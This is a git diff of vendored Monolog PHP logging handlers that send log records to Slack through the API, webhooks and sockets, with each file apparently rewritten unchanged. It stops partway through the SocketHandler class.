$this->includeContextAndExtra = $includeContextAndExtra; + $this->excludeFields = $excludeFields; + $this->formatter = $formatter; + + if ($this->includeContextAndExtra) { + $this->normalizerFormatter = new NormalizerFormatter(); + } + } + + public function getSlackData(array $record) + { + $dataArray = array(); + $record = $this->excludeFields($record); + + if ($this->username) { + $dataArray['username'] = $this->username; + } + + if ($this->channel) { + $dataArray['channel'] = $this->channel; + } + + if ($this->formatter && !$this->useAttachment) { + $message = $this->formatter->format($record); + } else { + $message = $record['message']; + } + + if ($this->useAttachment) { + $attachment = array( + 'fallback' => $message, + 'text' => $message, + 'color' => $this->getAttachmentColor($record['level']), + 'fields' => array(), + 'mrkdwn_in' => array('fields'), + 'ts' => $record['datetime']->getTimestamp() + ); + + if ($this->useShortAttachment) { + $attachment['title'] = $record['level_name']; + } else { + $attachment['title'] = 'Message'; + $attachment['fields'][] = $this->generateAttachmentField('Level', $record['level_name']); + } + + + if ($this->includeContextAndExtra) { + foreach (array('extra', 'context') as $key) { + if (empty($record[$key])) { + continue; + } + + if ($this->useShortAttachment) { + $attachment['fields'][] = $this->generateAttachmentField( + $key, + $record[$key] + ); + } else { + // Add all extra fields as individual fields in attachment + $attachment['fields'] = array_merge( + $attachment['fields'], + $this->generateAttachmentFields($record[$key]) + ); + } + } + } + + $dataArray['attachments'] = array($attachment); + } else { + $dataArray['text'] = $message; + } + + if ($this->userIcon) { + if (filter_var($this->userIcon, FILTER_VALIDATE_URL)) { + $dataArray['icon_url'] = $this->userIcon; + } else { + $dataArray['icon_emoji'] = ":{$this->userIcon}:"; + } + } + + return $dataArray; + } + + /** + * Returned a Slack message attachment color associated with + * provided level. + * + * @param int $level + * @return string + */ + public function getAttachmentColor($level) + { + switch (true) { + case $level >= Logger::ERROR: + return self::COLOR_DANGER; + case $level >= Logger::WARNING: + return self::COLOR_WARNING; + case $level >= Logger::INFO: + return self::COLOR_GOOD; + default: + return self::COLOR_DEFAULT; + } + } + + /** + * Stringifies an array of key/value pairs to be used in attachment fields + * + * @param array $fields + * + * @return string + */ + public function stringify($fields) + { + $normalized = $this->normalizerFormatter->format($fields); + $prettyPrintFlag = defined('JSON_PRETTY_PRINT') ? JSON_PRETTY_PRINT : 128; + $flags = 0; + if (PHP_VERSION_ID >= 50400) { + $flags = JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE; + } + + $hasSecondDimension = count(array_filter($normalized, 'is_array')); + $hasNonNumericKeys = !count(array_filter(array_keys($normalized), 'is_numeric')); + + return $hasSecondDimension || $hasNonNumericKeys + ? Utils::jsonEncode($normalized, $prettyPrintFlag | $flags) + : Utils::jsonEncode($normalized, $flags); + } + + /** + * Sets the formatter + * + * @param FormatterInterface $formatter + */ + public function setFormatter(FormatterInterface $formatter) + { + $this->formatter = $formatter; + } + + /** + * Generates attachment field + * + * @param string $title + * @param string|array $value + * + * @return array + */ + private function generateAttachmentField($title, $value) + { + $value = is_array($value) + ? sprintf('```%s```', $this->stringify($value)) + : $value; + + return array( + 'title' => ucfirst($title), + 'value' => $value, + 'short' => false + ); + } + + /** + * Generates a collection of attachment fields from array + * + * @param array $data + * + * @return array + */ + private function generateAttachmentFields(array $data) + { + $fields = array(); + foreach ($this->normalizerFormatter->format($data) as $key => $value) { + $fields[] = $this->generateAttachmentField($key, $value); + } + + return $fields; + } + + /** + * Get a copy of record with fields excluded according to $this->excludeFields + * + * @param array $record + * + * @return array + */ + private function excludeFields(array $record) + { + foreach ($this->excludeFields as $field) { + $keys = explode('.', $field); + $node = &$record; + $lastKey = end($keys); + foreach ($keys as $key) { + if (!isset($node[$key])) { + break; + } + if ($lastKey === $key) { + unset($node[$key]); + break; + } + $node = &$node[$key]; + } + } + + return $record; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/SlackHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/SlackHandler.php index c437321047..88c4c4d00c 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/SlackHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/SlackHandler.php @@ -1,221 +1,221 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\FormatterInterface; -use Monolog\Logger; -use Monolog\Utils; -use Monolog\Handler\Slack\SlackRecord; - -/** - * Sends notifications through Slack API - * - * @author Greg Kedzierski - * @see https://api.slack.com/ - */ -class SlackHandler extends SocketHandler -{ - /** - * Slack API token - * @var string - */ - private $token; - - /** - * Instance of the SlackRecord util class preparing data for Slack API. - * @var SlackRecord - */ - private $slackRecord; - - /** - * @param string $token Slack API token - * @param string $channel Slack channel (encoded ID or name) - * @param string|null $username Name of a bot - * @param bool $useAttachment Whether the message should be added to Slack as attachment (plain text otherwise) - * @param string|null $iconEmoji The emoji name to use (or null) - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - * @param bool $useShortAttachment Whether the the context/extra messages added to Slack as attachments are in a short style - * @param bool $includeContextAndExtra Whether the attachment should include context and extra data - * @param array $excludeFields Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2'] - * @throws MissingExtensionException If no OpenSSL PHP extension configured - */ - public function __construct($token, $channel, $username = null, $useAttachment = true, $iconEmoji = null, $level = Logger::CRITICAL, $bubble = true, $useShortAttachment = false, $includeContextAndExtra = false, array $excludeFields = array()) - { - if (!extension_loaded('openssl')) { - throw new MissingExtensionException('The OpenSSL PHP extension is required to use the SlackHandler'); - } - - parent::__construct('ssl://slack.com:443', $level, $bubble); - - $this->slackRecord = new SlackRecord( - $channel, - $username, - $useAttachment, - $iconEmoji, - $useShortAttachment, - $includeContextAndExtra, - $excludeFields, - $this->formatter - ); - - $this->token = $token; - } - - public function getSlackRecord() - { - return $this->slackRecord; - } - - public function getToken() - { - return $this->token; - } - - /** - * {@inheritdoc} - * - * @param array $record - * @return string - */ - protected function generateDataStream($record) - { - $content = $this->buildContent($record); - - return $this->buildHeader($content) . $content; - } - - /** - * Builds the body of API call - * - * @param array $record - * @return string - */ - private function buildContent($record) - { - $dataArray = $this->prepareContentData($record); - - return http_build_query($dataArray); - } - - /** - * Prepares content data - * - * @param array $record - * @return array - */ - protected function prepareContentData($record) - { - $dataArray = $this->slackRecord->getSlackData($record); - $dataArray['token'] = $this->token; - - if (!empty($dataArray['attachments'])) { - $dataArray['attachments'] = Utils::jsonEncode($dataArray['attachments']); - } - - return $dataArray; - } - - /** - * Builds the header of the API Call - * - * @param string $content - * @return string - */ - private function buildHeader($content) - { - $header = "POST /api/chat.postMessage HTTP/1.1\r\n"; - $header .= "Host: slack.com\r\n"; - $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; - $header .= "Content-Length: " . strlen($content) . "\r\n"; - $header .= "\r\n"; - - return $header; - } - - /** - * {@inheritdoc} - * - * @param array $record - */ - protected function write(array $record) - { - parent::write($record); - $this->finalizeWrite(); - } - - /** - * Finalizes the request by reading some bytes and then closing the socket - * - * If we do not read some but close the socket too early, slack sometimes - * drops the request entirely. - */ - protected function finalizeWrite() - { - $res = $this->getResource(); - if (is_resource($res)) { - @fread($res, 2048); - } - $this->closeSocket(); - } - - /** - * Returned a Slack message attachment color associated with - * provided level. - * - * @param int $level - * @return string - * @deprecated Use underlying SlackRecord instead - */ - protected function getAttachmentColor($level) - { - trigger_error( - 'SlackHandler::getAttachmentColor() is deprecated. Use underlying SlackRecord instead.', - E_USER_DEPRECATED - ); - - return $this->slackRecord->getAttachmentColor($level); - } - - /** - * Stringifies an array of key/value pairs to be used in attachment fields - * - * @param array $fields - * @return string - * @deprecated Use underlying SlackRecord instead - */ - protected function stringify($fields) - { - trigger_error( - 'SlackHandler::stringify() is deprecated. Use underlying SlackRecord instead.', - E_USER_DEPRECATED - ); - - return $this->slackRecord->stringify($fields); - } - - public function setFormatter(FormatterInterface $formatter) - { - parent::setFormatter($formatter); - $this->slackRecord->setFormatter($formatter); - - return $this; - } - - public function getFormatter() - { - $formatter = parent::getFormatter(); - $this->slackRecord->setFormatter($formatter); - - return $formatter; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Formatter\FormatterInterface; +use Monolog\Logger; +use Monolog\Utils; +use Monolog\Handler\Slack\SlackRecord; + +/** + * Sends notifications through Slack API + * + * @author Greg Kedzierski + * @see https://api.slack.com/ + */ +class SlackHandler extends SocketHandler +{ + /** + * Slack API token + * @var string + */ + private $token; + + /** + * Instance of the SlackRecord util class preparing data for Slack API. + * @var SlackRecord + */ + private $slackRecord; + + /** + * @param string $token Slack API token + * @param string $channel Slack channel (encoded ID or name) + * @param string|null $username Name of a bot + * @param bool $useAttachment Whether the message should be added to Slack as attachment (plain text otherwise) + * @param string|null $iconEmoji The emoji name to use (or null) + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + * @param bool $useShortAttachment Whether the the context/extra messages added to Slack as attachments are in a short style + * @param bool $includeContextAndExtra Whether the attachment should include context and extra data + * @param array $excludeFields Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2'] + * @throws MissingExtensionException If no OpenSSL PHP extension configured + */ + public function __construct($token, $channel, $username = null, $useAttachment = true, $iconEmoji = null, $level = Logger::CRITICAL, $bubble = true, $useShortAttachment = false, $includeContextAndExtra = false, array $excludeFields = array()) + { + if (!extension_loaded('openssl')) { + throw new MissingExtensionException('The OpenSSL PHP extension is required to use the SlackHandler'); + } + + parent::__construct('ssl://slack.com:443', $level, $bubble); + + $this->slackRecord = new SlackRecord( + $channel, + $username, + $useAttachment, + $iconEmoji, + $useShortAttachment, + $includeContextAndExtra, + $excludeFields, + $this->formatter + ); + + $this->token = $token; + } + + public function getSlackRecord() + { + return $this->slackRecord; + } + + public function getToken() + { + return $this->token; + } + + /** + * {@inheritdoc} + * + * @param array $record + * @return string + */ + protected function generateDataStream($record) + { + $content = $this->buildContent($record); + + return $this->buildHeader($content) . $content; + } + + /** + * Builds the body of API call + * + * @param array $record + * @return string + */ + private function buildContent($record) + { + $dataArray = $this->prepareContentData($record); + + return http_build_query($dataArray); + } + + /** + * Prepares content data + * + * @param array $record + * @return array + */ + protected function prepareContentData($record) + { + $dataArray = $this->slackRecord->getSlackData($record); + $dataArray['token'] = $this->token; + + if (!empty($dataArray['attachments'])) { + $dataArray['attachments'] = Utils::jsonEncode($dataArray['attachments']); + } + + return $dataArray; + } + + /** + * Builds the header of the API Call + * + * @param string $content + * @return string + */ + private function buildHeader($content) + { + $header = "POST /api/chat.postMessage HTTP/1.1\r\n"; + $header .= "Host: slack.com\r\n"; + $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; + $header .= "Content-Length: " . strlen($content) . "\r\n"; + $header .= "\r\n"; + + return $header; + } + + /** + * {@inheritdoc} + * + * @param array $record + */ + protected function write(array $record) + { + parent::write($record); + $this->finalizeWrite(); + } + + /** + * Finalizes the request by reading some bytes and then closing the socket + * + * If we do not read some but close the socket too early, slack sometimes + * drops the request entirely. + */ + protected function finalizeWrite() + { + $res = $this->getResource(); + if (is_resource($res)) { + @fread($res, 2048); + } + $this->closeSocket(); + } + + /** + * Returned a Slack message attachment color associated with + * provided level. + * + * @param int $level + * @return string + * @deprecated Use underlying SlackRecord instead + */ + protected function getAttachmentColor($level) + { + trigger_error( + 'SlackHandler::getAttachmentColor() is deprecated. Use underlying SlackRecord instead.', + E_USER_DEPRECATED + ); + + return $this->slackRecord->getAttachmentColor($level); + } + + /** + * Stringifies an array of key/value pairs to be used in attachment fields + * + * @param array $fields + * @return string + * @deprecated Use underlying SlackRecord instead + */ + protected function stringify($fields) + { + trigger_error( + 'SlackHandler::stringify() is deprecated. Use underlying SlackRecord instead.', + E_USER_DEPRECATED + ); + + return $this->slackRecord->stringify($fields); + } + + public function setFormatter(FormatterInterface $formatter) + { + parent::setFormatter($formatter); + $this->slackRecord->setFormatter($formatter); + + return $this; + } + + public function getFormatter() + { + $formatter = parent::getFormatter(); + $this->slackRecord->setFormatter($formatter); + + return $formatter; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/SlackWebhookHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/SlackWebhookHandler.php index e2ec60aae2..b87be99a88 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/SlackWebhookHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/SlackWebhookHandler.php @@ -1,121 +1,121 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\FormatterInterface; -use Monolog\Logger; -use Monolog\Utils; -use Monolog\Handler\Slack\SlackRecord; - -/** - * Sends notifications through Slack Webhooks - * - * @author Haralan Dobrev - * @see https://api.slack.com/incoming-webhooks - */ -class SlackWebhookHandler extends AbstractProcessingHandler -{ - /** - * Slack Webhook token - * @var string - */ - private $webhookUrl; - - /** - * Instance of the SlackRecord util class preparing data for Slack API. - * @var SlackRecord - */ - private $slackRecord; - - /** - * @param string $webhookUrl Slack Webhook URL - * @param string|null $channel Slack channel (encoded ID or name) - * @param string|null $username Name of a bot - * @param bool $useAttachment Whether the message should be added to Slack as attachment (plain text otherwise) - * @param string|null $iconEmoji The emoji name to use (or null) - * @param bool $useShortAttachment Whether the the context/extra messages added to Slack as attachments are in a short style - * @param bool $includeContextAndExtra Whether the attachment should include context and extra data - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - * @param array $excludeFields Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2'] - */ - public function __construct($webhookUrl, $channel = null, $username = null, $useAttachment = true, $iconEmoji = null, $useShortAttachment = false, $includeContextAndExtra = false, $level = Logger::CRITICAL, $bubble = true, array $excludeFields = array()) - { - parent::__construct($level, $bubble); - - $this->webhookUrl = $webhookUrl; - - $this->slackRecord = new SlackRecord( - $channel, - $username, - $useAttachment, - $iconEmoji, - $useShortAttachment, - $includeContextAndExtra, - $excludeFields, - $this->formatter - ); - } - - public function getSlackRecord() - { - return $this->slackRecord; - } - - public function getWebhookUrl() - { - return $this->webhookUrl; - } - - /** - * {@inheritdoc} - * - * @param array $record - */ - protected function write(array $record) - { - $postData = $this->slackRecord->getSlackData($record); - $postString = Utils::jsonEncode($postData); - - $ch = curl_init(); - $options = array( - CURLOPT_URL => $this->webhookUrl, - CURLOPT_POST => true, - CURLOPT_RETURNTRANSFER => true, - CURLOPT_HTTPHEADER => array('Content-type: application/json'), - CURLOPT_POSTFIELDS => $postString - ); - if (defined('CURLOPT_SAFE_UPLOAD')) { - $options[CURLOPT_SAFE_UPLOAD] = true; - } - - curl_setopt_array($ch, $options); - - Curl\Util::execute($ch); - } - - public function setFormatter(FormatterInterface $formatter) - { - parent::setFormatter($formatter); - $this->slackRecord->setFormatter($formatter); - - return $this; - } - - public function getFormatter() - { - $formatter = parent::getFormatter(); - $this->slackRecord->setFormatter($formatter); - - return $formatter; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Formatter\FormatterInterface; +use Monolog\Logger; +use Monolog\Utils; +use Monolog\Handler\Slack\SlackRecord; + +/** + * Sends notifications through Slack Webhooks + * + * @author Haralan Dobrev + * @see https://api.slack.com/incoming-webhooks + */ +class SlackWebhookHandler extends AbstractProcessingHandler +{ + /** + * Slack Webhook token + * @var string + */ + private $webhookUrl; + + /** + * Instance of the SlackRecord util class preparing data for Slack API. + * @var SlackRecord + */ + private $slackRecord; + + /** + * @param string $webhookUrl Slack Webhook URL + * @param string|null $channel Slack channel (encoded ID or name) + * @param string|null $username Name of a bot + * @param bool $useAttachment Whether the message should be added to Slack as attachment (plain text otherwise) + * @param string|null $iconEmoji The emoji name to use (or null) + * @param bool $useShortAttachment Whether the the context/extra messages added to Slack as attachments are in a short style + * @param bool $includeContextAndExtra Whether the attachment should include context and extra data + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + * @param array $excludeFields Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2'] + */ + public function __construct($webhookUrl, $channel = null, $username = null, $useAttachment = true, $iconEmoji = null, $useShortAttachment = false, $includeContextAndExtra = false, $level = Logger::CRITICAL, $bubble = true, array $excludeFields = array()) + { + parent::__construct($level, $bubble); + + $this->webhookUrl = $webhookUrl; + + $this->slackRecord = new SlackRecord( + $channel, + $username, + $useAttachment, + $iconEmoji, + $useShortAttachment, + $includeContextAndExtra, + $excludeFields, + $this->formatter + ); + } + + public function getSlackRecord() + { + return $this->slackRecord; + } + + public function getWebhookUrl() + { + return $this->webhookUrl; + } + + /** + * {@inheritdoc} + * + * @param array $record + */ + protected function write(array $record) + { + $postData = $this->slackRecord->getSlackData($record); + $postString = Utils::jsonEncode($postData); + + $ch = curl_init(); + $options = array( + CURLOPT_URL => $this->webhookUrl, + CURLOPT_POST => true, + CURLOPT_RETURNTRANSFER => true, + CURLOPT_HTTPHEADER => array('Content-type: application/json'), + CURLOPT_POSTFIELDS => $postString + ); + if (defined('CURLOPT_SAFE_UPLOAD')) { + $options[CURLOPT_SAFE_UPLOAD] = true; + } + + curl_setopt_array($ch, $options); + + Curl\Util::execute($ch); + } + + public function setFormatter(FormatterInterface $formatter) + { + parent::setFormatter($formatter); + $this->slackRecord->setFormatter($formatter); + + return $this; + } + + public function getFormatter() + { + $formatter = parent::getFormatter(); + $this->slackRecord->setFormatter($formatter); + + return $formatter; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/SlackbotHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/SlackbotHandler.php index 4495196c85..d3352ea0f7 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/SlackbotHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/SlackbotHandler.php @@ -1,84 +1,84 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; - -/** - * Sends notifications through Slack's Slackbot - * - * @author Haralan Dobrev - * @see https://slack.com/apps/A0F81R8ET-slackbot - * @deprecated According to Slack the API used on this handler it is deprecated. - * Therefore this handler will be removed on 2.x - * Slack suggests to use webhooks instead. Please contact slack for more information. - */ -class SlackbotHandler extends AbstractProcessingHandler -{ - /** - * The slug of the Slack team - * @var string - */ - private $slackTeam; - - /** - * Slackbot token - * @var string - */ - private $token; - - /** - * Slack channel name - * @var string - */ - private $channel; - - /** - * @param string $slackTeam Slack team slug - * @param string $token Slackbot token - * @param string $channel Slack channel (encoded ID or name) - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - */ - public function __construct($slackTeam, $token, $channel, $level = Logger::CRITICAL, $bubble = true) - { - @trigger_error('SlackbotHandler is deprecated and will be removed on 2.x', E_USER_DEPRECATED); - parent::__construct($level, $bubble); - - $this->slackTeam = $slackTeam; - $this->token = $token; - $this->channel = $channel; - } - - /** - * {@inheritdoc} - * - * @param array $record - */ - protected function write(array $record) - { - $slackbotUrl = sprintf( - 'https://%s.slack.com/services/hooks/slackbot?token=%s&channel=%s', - $this->slackTeam, - $this->token, - $this->channel - ); - - $ch = curl_init(); - curl_setopt($ch, CURLOPT_URL, $slackbotUrl); - curl_setopt($ch, CURLOPT_POST, true); - curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); - curl_setopt($ch, CURLOPT_POSTFIELDS, $record['message']); - - Curl\Util::execute($ch); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; + +/** + * Sends notifications through Slack's Slackbot + * + * @author Haralan Dobrev + * @see https://slack.com/apps/A0F81R8ET-slackbot + * @deprecated According to Slack the API used on this handler it is deprecated. + * Therefore this handler will be removed on 2.x + * Slack suggests to use webhooks instead. Please contact slack for more information. + */ +class SlackbotHandler extends AbstractProcessingHandler +{ + /** + * The slug of the Slack team + * @var string + */ + private $slackTeam; + + /** + * Slackbot token + * @var string + */ + private $token; + + /** + * Slack channel name + * @var string + */ + private $channel; + + /** + * @param string $slackTeam Slack team slug + * @param string $token Slackbot token + * @param string $channel Slack channel (encoded ID or name) + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + */ + public function __construct($slackTeam, $token, $channel, $level = Logger::CRITICAL, $bubble = true) + { + @trigger_error('SlackbotHandler is deprecated and will be removed on 2.x', E_USER_DEPRECATED); + parent::__construct($level, $bubble); + + $this->slackTeam = $slackTeam; + $this->token = $token; + $this->channel = $channel; + } + + /** + * {@inheritdoc} + * + * @param array $record + */ + protected function write(array $record) + { + $slackbotUrl = sprintf( + 'https://%s.slack.com/services/hooks/slackbot?token=%s&channel=%s', + $this->slackTeam, + $this->token, + $this->channel + ); + + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $slackbotUrl); + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $record['message']); + + Curl\Util::execute($ch); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/SocketHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/SocketHandler.php index cc4141d2cd..db50d97fec 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/SocketHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/SocketHandler.php @@ -1,385 +1,385 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; - -/** - * Stores to any socket - uses fsockopen() or pfsockopen(). - * - * @author Pablo de Leon Belloc - * @see http://php.net/manual/en/function.fsockopen.php - */ -class SocketHandler extends AbstractProcessingHandler -{ - private $connectionString; - private $connectionTimeout; - private $resource; - private $timeout = 0; - private $writingTimeout = 10; - private $lastSentBytes = null; - private $chunkSize = null; - private $persistent = false; - private $errno; - private $errstr; - private $lastWritingAt; - - /** - * @param string $connectionString Socket connection string - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - */ - public function __construct($connectionString, $level = Logger::DEBUG, $bubble = true) - { - parent::__construct($level, $bubble); - $this->connectionString = $connectionString; - $this->connectionTimeout = (float) ini_get('default_socket_timeout'); - } - - /** - * Connect (if necessary) and write to the socket - * - * @param array $record - * - * @throws \UnexpectedValueException - * @throws \RuntimeException - */ - protected function write(array $record) - { - $this->connectIfNotConnected(); - $data = $this->generateDataStream($record); - $this->writeToSocket($data); - } - - /** - * We will not close a PersistentSocket instance so it can be reused in other requests. - */ - public function close() - { - if (!$this->isPersistent()) { - $this->closeSocket(); - } - } - - /** - * Close socket, if open - */ - public function closeSocket() - { - if (is_resource($this->resource)) { - fclose($this->resource); - $this->resource = null; - } - } - - /** - * Set socket connection to nbe persistent. It only has effect before the connection is initiated. - * - * @param bool $persistent - */ - public function setPersistent($persistent) - { - $this->persistent = (bool) $persistent; - } - - /** - * Set connection timeout. Only has effect before we connect. - * - * @param float $seconds - * - * @see http://php.net/manual/en/function.fsockopen.php - */ - public function setConnectionTimeout($seconds) - { - $this->validateTimeout($seconds); - $this->connectionTimeout = (float) $seconds; - } - - /** - * Set write timeout. Only has effect before we connect. - * - * @param float $seconds - * - * @see http://php.net/manual/en/function.stream-set-timeout.php - */ - public function setTimeout($seconds) - { - $this->validateTimeout($seconds); - $this->timeout = (float) $seconds; - } - - /** - * Set writing timeout. Only has effect during connection in the writing cycle. - * - * @param float $seconds 0 for no timeout - */ - public function setWritingTimeout($seconds) - { - $this->validateTimeout($seconds); - $this->writingTimeout = (float) $seconds; - } - - /** - * Set chunk size. Only has effect during connection in the writing cycle. - * - * @param float $bytes - */ - public function setChunkSize($bytes) - { - $this->chunkSize = $bytes; - } - - /** - * Get current connection string - * - * @return string - */ - public function getConnectionString() - { - return $this->connectionString; - } - - /** - * Get persistent setting - * - * @return bool - */ - public function isPersistent() - { - return $this->persistent; - } - - /** - * Get current connection timeout setting - * - * @return float - */ - public function getConnectionTimeout() - { - return $this->connectionTimeout; - } - - /** - * Get current in-transfer timeout - * - * @return float - */ - public function getTimeout() - { - return $this->timeout; - } - - /** - * Get current local writing timeout - * - * @return float - */ - public function getWritingTimeout() - { - return $this->writingTimeout; - } - - /** - * Get current chunk size - * - * @return float - */ - public function getChunkSize() - { - return $this->chunkSize; - } - - /** - * Check to see if the socket is currently available. - * - * UDP might appear to be connected but might fail when writing. See http://php.net/fsockopen for details. - * - * @return bool - */ - public function isConnected() - { - return is_resource($this->resource) - && !feof($this->resource); // on TCP - other party can close connection. - } - - /** - * Wrapper to allow mocking - */ - protected function pfsockopen() - { - return @pfsockopen($this->connectionString, -1, $this->errno, $this->errstr, $this->connectionTimeout); - } - - /** - * Wrapper to allow mocking - */ - protected function fsockopen() - { - return @fsockopen($this->connectionString, -1, $this->errno, $this->errstr, $this->connectionTimeout); - } - - /** - * Wrapper to allow mocking - * - * @see http://php.net/manual/en/function.stream-set-timeout.php - */ - protected function streamSetTimeout() - { - $seconds = floor($this->timeout); - $microseconds = round(($this->timeout - $seconds) * 1e6); - - return stream_set_timeout($this->resource, $seconds, $microseconds); - } - - /** - * Wrapper to allow mocking - * - * @see http://php.net/manual/en/function.stream-set-chunk-size.php - */ - protected function streamSetChunkSize() - { - return stream_set_chunk_size($this->resource, $this->chunkSize); - } - - /** - * Wrapper to allow mocking - */ - protected function fwrite($data) - { - return @fwrite($this->resource, $data); - } - - /** - * Wrapper to allow mocking - */ - protected function streamGetMetadata() - { - return stream_get_meta_data($this->resource); - } - - private function validateTimeout($value) - { - $ok = filter_var($value, FILTER_VALIDATE_FLOAT); - if ($ok === false || $value < 0) { - throw new \InvalidArgumentException("Timeout must be 0 or a positive float (got $value)"); - } - } - - private function connectIfNotConnected() - { - if ($this->isConnected()) { - return; - } - $this->connect(); - } - - protected function generateDataStream($record) - { - return (string) $record['formatted']; - } - - /** - * @return resource|null - */ - protected function getResource() - { - return $this->resource; - } - - private function connect() - { - $this->createSocketResource(); - $this->setSocketTimeout(); - $this->setStreamChunkSize(); - } - - private function createSocketResource() - { - if ($this->isPersistent()) { - $resource = $this->pfsockopen(); - } else { - $resource = $this->fsockopen(); - } - if (!$resource) { - throw new \UnexpectedValueException("Failed connecting to $this->connectionString ($this->errno: $this->errstr)"); - } - $this->resource = $resource; - } - - private function setSocketTimeout() - { - if (!$this->streamSetTimeout()) { - throw new \UnexpectedValueException("Failed setting timeout with stream_set_timeout()"); - } - } - - private function setStreamChunkSize() - { - if ($this->chunkSize && !$this->streamSetChunkSize()) { - throw new \UnexpectedValueException("Failed setting chunk size with stream_set_chunk_size()"); - } - } - - private function writeToSocket($data) - { - $length = strlen($data); - $sent = 0; - $this->lastSentBytes = $sent; - while ($this->isConnected() && $sent < $length) { - if (0 == $sent) { - $chunk = $this->fwrite($data); - } else { - $chunk = $this->fwrite(substr($data, $sent)); - } - if ($chunk === false) { - throw new \RuntimeException("Could not write to socket"); - } - $sent += $chunk; - $socketInfo = $this->streamGetMetadata(); - if ($socketInfo['timed_out']) { - throw new \RuntimeException("Write timed-out"); - } - - if ($this->writingIsTimedOut($sent)) { - throw new \RuntimeException("Write timed-out, no data sent for `{$this->writingTimeout}` seconds, probably we got disconnected (sent $sent of $length)"); - } - } - if (!$this->isConnected() && $sent < $length) { - throw new \RuntimeException("End-of-file reached, probably we got disconnected (sent $sent of $length)"); - } - } - - private function writingIsTimedOut($sent) - { - $writingTimeout = (int) floor($this->writingTimeout); - if (0 === $writingTimeout) { - return false; - } - - if ($sent !== $this->lastSentBytes) { - $this->lastWritingAt = time(); - $this->lastSentBytes = $sent; - - return false; - } else { - usleep(100); - } - - if ((time() - $this->lastWritingAt) >= $writingTimeout) { - $this->closeSocket(); - - return true; - } - - return false; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; + +/** + * Stores to any socket - uses fsockopen() or pfsockopen(). + * + * @author Pablo de Leon Belloc + * @see http://php.net/manual/en/function.fsockopen.php + */ +class SocketHandler extends AbstractProcessingHandler +{ + private $connectionString; + private $connectionTimeout; + private $resource; + private $timeout = 0; + private $writingTimeout = 10; + private $lastSentBytes = null; + private $chunkSize = null; + private $persistent = false; + private $errno; + private $errstr; + private $lastWritingAt; + + /** + * @param string $connectionString Socket connection string + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + */ + public function __construct($connectionString, $level = Logger::DEBUG, $bubble = true) + { + parent::__construct($level, $bubble); + $this->connectionString = $connectionString; + $this->connectionTimeout = (float) ini_get('default_socket_timeout'); + } + + /** + * Connect (if necessary) and write to the socket + * + * @param array $record + * + * @throws \UnexpectedValueException + * @throws \RuntimeException + */ + protected function write(array $record) + { + $this->connectIfNotConnected(); + $data = $this->generateDataStream($record); + $this->writeToSocket($data); + } + + /** + * We will not close a PersistentSocket instance so it can be reused in other requests. + */ + public function close() + { + if (!$this->isPersistent()) { + $this->closeSocket(); + } + } + + /** + * Close socket, if open + */ + public function closeSocket() + { + if (is_resource($this->resource)) { + fclose($this->resource); + $this->resource = null; + } + } + + /** + * Set socket connection to nbe persistent. It only has effect before the connection is initiated. + * + * @param bool $persistent + */ + public function setPersistent($persistent) + { + $this->persistent = (bool) $persistent; + } + + /** + * Set connection timeout. Only has effect before we connect. + * + * @param float $seconds + * + * @see http://php.net/manual/en/function.fsockopen.php + */ + public function setConnectionTimeout($seconds) + 